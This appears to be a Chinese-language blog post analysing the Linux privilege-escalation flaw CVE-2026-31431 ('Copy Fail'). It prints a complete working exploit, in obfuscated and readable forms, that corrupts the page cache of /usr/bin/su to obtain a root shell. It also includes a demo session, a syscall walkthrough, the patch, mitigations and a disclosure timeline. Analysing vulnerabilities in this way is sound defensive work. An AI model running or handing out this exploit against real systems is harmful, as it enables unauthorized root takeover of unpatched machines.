太炸裂了!!!

4 月 30 日下班后刷短视频,发现了这个超级劲爆的安全漏洞:CVE-2026-31431,又名 Copy Fail。
它只需 10 行 Python 代码,就能完成 Linux 本地权限提升,直接获得 root 权限。而且这个漏洞从 2017 年就存在,几乎影响所有主流 Linux 发行版。

效果演示

在非 root 用户下运行 copy_fail_exp.py,即可成功获得 root 权限。
就是这么直接。

wgxls@server:~$ whoami
wgxls

wgxls@server:~$ python3 copy_fail_exp.py 
# whoami
root

脚本内容

脚本的 GitHub 链接:https://github.com/theori-io/copy-fail-CVE-2026-31431

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

这个脚本故意写的非常“简洁”,让我借助 AI 把它还原成更易读的版本:

#!/usr/bin/env python3
import os
import socket
import zlib


def hex_to_bytes(value):
    return bytes.fromhex(value)


def write_pagecache_chunk(target_fd, offset, chunk):
    alg_socket = socket.socket(38, socket.SOCK_SEQPACKET, 0)
    alg_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

    ALG_SET_KEY = 279
    alg_socket.setsockopt(ALG_SET_KEY, 1, hex_to_bytes("0800010000000010" + "0" * 64))
    alg_socket.setsockopt(ALG_SET_KEY, 5, None, 4)

    conn, _ = alg_socket.accept()

    auth_tag = hex_to_bytes("00")
    aad = b"A" * 4 + chunk
    cmsg = [
        (ALG_SET_KEY, 3, auth_tag * 4),
        (ALG_SET_KEY, 2, b"\x10" + auth_tag * 19),
        (ALG_SET_KEY, 4, b"\x08" + auth_tag * 3),
    ]

    conn.sendmsg([aad], cmsg, 32768)

    read_fd, write_fd = os.pipe()
    splice = os.splice
    splice(target_fd, write_fd, offset, offset_src=0)
    splice(read_fd, conn.fileno(), offset)

    try:
        conn.recv(8 + len(chunk))
    except Exception:
        pass


def main():
    target_fd = os.open("/usr/bin/su", os.O_RDONLY)
    payload = zlib.decompress(hex_to_bytes(
        "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
    ))

    offset = 0
    while offset < len(payload):
        write_pagecache_chunk(target_fd, offset, payload[offset:offset + 4])
        offset += 4

    os.system("su")


if __name__ == "__main__":
    main()

脚本解析

我目前还不能完全把握这个漏洞的所有细节,但从网上的资料看,2017 年的这个 commit 72548b093ee3 引入了一个 in-place 优化。这个优化使得当内核收到一个包含页缓存页的 scatterlist 时,会直接把该页缓存页作为输出 scatterlist 的一部分进行写入,结果就是页缓存被污染。

在理解这个脚本之前,我们先把几个关键的 Linux 系统调用理清楚。

  1. socket(AF_ALG, SOCK_SEQPACKET, 0):创建 AF_ALG 加密套接字。AF_ALG 是 Linux 内核提供的特殊地址族,用于让应用程序访问内核加密算法。SOCK_SEQPACKET 表示面向连接的消息套接字,0 表示默认协议。
  2. bind(("aead", "authencesn(hmac(sha256),cbc(aes))")):绑定到 authencesn AEAD 模板。“aead” 表示使用 AEAD 模式,“authencesn(hmac(sha256),cbc(aes))” 指定了 HMAC-SHA256 认证和 CBC-AES 加密,并启用了扩展序列号(ESN)。
  3. setsockopt():配置加密密钥和相关参数。
  4. accept():接受连接,获取一个可用于收发数据的套接字。
  5. sendmsg():发送消息和控制消息,触发加密运算。
  6. os.pipe():创建管道,返回读/写两个文件描述符。后续通过写端写入,通过读端读取。
  7. os.splice():在文件描述符间进行零拷贝传输。零拷贝意味着数据不经过用户空间缓冲区,而是在内核内部直接转发。这里的 offset_src=0 表示从源文件开头开始读取。
  8. recv():接收数据,同时触发解密/处理操作。

了解了这些调用后,脚本的核心逻辑可以这样理解:

  1. 脚本先创建 AF_ALG 套接字,绑定到 authencesn AEAD 模板,并设置密钥。
  2. 接着 accept 连接,准备发送加密请求。
  3. write_pagecache_chunk() 是关键部分,它构造一个加密请求,AAD 中包含攻击者可控的 chunk。调用 sendmsg() 后,内核在 authencesn 解密过程中误触发写操作,把 chunk 写入页缓存。
  4. 通过 os.pipe()os.splice(),脚本把目标文件 /usr/bin/su 的页缓存页引入 AF_ALG 输入,使 authencesn 的写入操作可以直接改写该页缓存。
  5. 最后调用 os.system("su"),内核从页缓存加载 /usr/bin/su,因为缓存已经被污染,所以执行的是被篡改后的内容,最终获得 root shell。

关键 FD 与数据流关系

并未真正修改磁盘文件

main

os.open('/usr/bin/su', O_RDONLY)
得到 target_fd

解压 payload

每次取 4 字节 chunk

write_pagecache_chunk(target_fd, offset, chunk)

target_fd
指向 /usr/bin/su

splice(target_fd → write_fd)
从 su 文件读取

write_fd
pipe 写端

pipe 内核缓冲区

read_fd
pipe 读端

splice(read_fd → conn)
发送给 AF_ALG socket

conn
AF_ALG accept 后的 socket fd

内核 crypto / AF_ALG

漏洞触发

page cache 中
/usr/bin/su 对应页被修改

磁盘上的 /usr/bin/su
理论上仍是原文件

os.system('su')

执行的是已被 page cache 污染的 su

Page CacheKernelAF_ALG connpipe(read_fd/write_fd)target_fd/usr/bin/suScriptPage CacheKernelAF_ALG connpipe(read_fd/write_fd)target_fd/usr/bin/suScript创建 pipe()从 /usr/bin/su 对应页读取数据数据进入 pipe bufferpipe buffer 数据送入 AF_ALGloop[每 4 字节]执行时优先使用 page cacheopen("/usr/bin/su", O_RDONLY)sendmsg(AAD + chunk)splice(target_fd -> write_fd)splice(read_fd -> conn)触发漏洞逻辑错误地把 chunk 写回/usr/bin/su 的 page cachesystem("su")返回被污染后的 su 内容获得 root shell

修复与缓解措施

已提交的修复补丁 a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 通过撤销 algif_aead.c 的 in-place 优化回退到 out-of-place 操作。这意味着:

  • req->src 指向 TX SGL(可能包含 splice 带来的页缓存页)
  • req->dst 指向 RX SGL(用户 recvmsg 缓冲区)
  • 不再将页缓存页链接到可写目标 scatterlist

这彻底切断了 authencesn scratch write 与页缓存写入之间的桥梁。

临时缓解方式:

  • 更新内核补丁并使用发行版提供的安全更新。
  • 通过 seccomp 禁止 AF_ALG 套接字创建。
  • 禁用 algif_aead 模块:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null

实测,禁用了 algif_aead 后,攻击脚本无法成功执行。

wgxls@server:~$ python3 copy_fail_exp.py 
Traceback (most recent call last):
  File "/home/wgxls/copy_fail_exp.py", line 9, in <module>
    while i<len(e):c(f,i,e[i:i+4]);i+=4
                   ^^^^^^^^^^^^^^^
  File "/home/wgxls/copy_fail_exp.py", line 5, in c
    a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
FileNotFoundError: [Errno 2] No such file or directory

协调披露时间线

日期 事件
2026-03-23 向 Linux 内核安全团队报告漏洞
2026-03-24 收到初步确认
2026-03-25 补丁提议与审查
2026-04-01 补丁合并到主线内核
2026-04-22 分配 CVE-2026-31431
2026-04-29 公开披露Blog
2026-04-30 互联网广泛传播